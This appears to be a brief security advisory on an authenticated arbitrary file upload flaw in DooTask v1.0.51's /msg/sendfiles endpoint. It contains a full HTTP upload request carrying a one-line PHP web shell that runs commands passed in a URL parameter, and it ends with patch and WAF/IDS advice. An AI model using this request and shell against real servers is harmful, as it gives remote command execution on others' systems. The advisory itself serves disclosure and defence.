DooTask | v1.0.51
How the Exploit Works
The exploit takes advantage of an arbitrary file upload vulnerability in the /msg/sendfiles component of DooTask v1.0.51. An attacker, who has already authenticated on the network, can exploit this vulnerability by crafting a malicious file and uploading it via the affected component. Once uploaded, the file can be executed, allowing the attacker to run arbitrary code on the system.
Conceptual Example Code
Here’s a conceptual example of how an attacker might exploit this vulnerability:
POST /msg/sendfiles HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7ma4YWxkTrZu0gW
------WebKitFormBoundary7ma4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="evilscript.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7ma4YWxkTrZu0gW--
In this example, the attacker sends a POST request to the vulnerable /msg/sendfiles endpoint with a malicious PHP script. Once uploaded, the script can be invoked to execute arbitrary system commands.
Mitigation
The recommended action is to apply the vendor-provided patch as soon as possible. In the interim, organizations can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability.
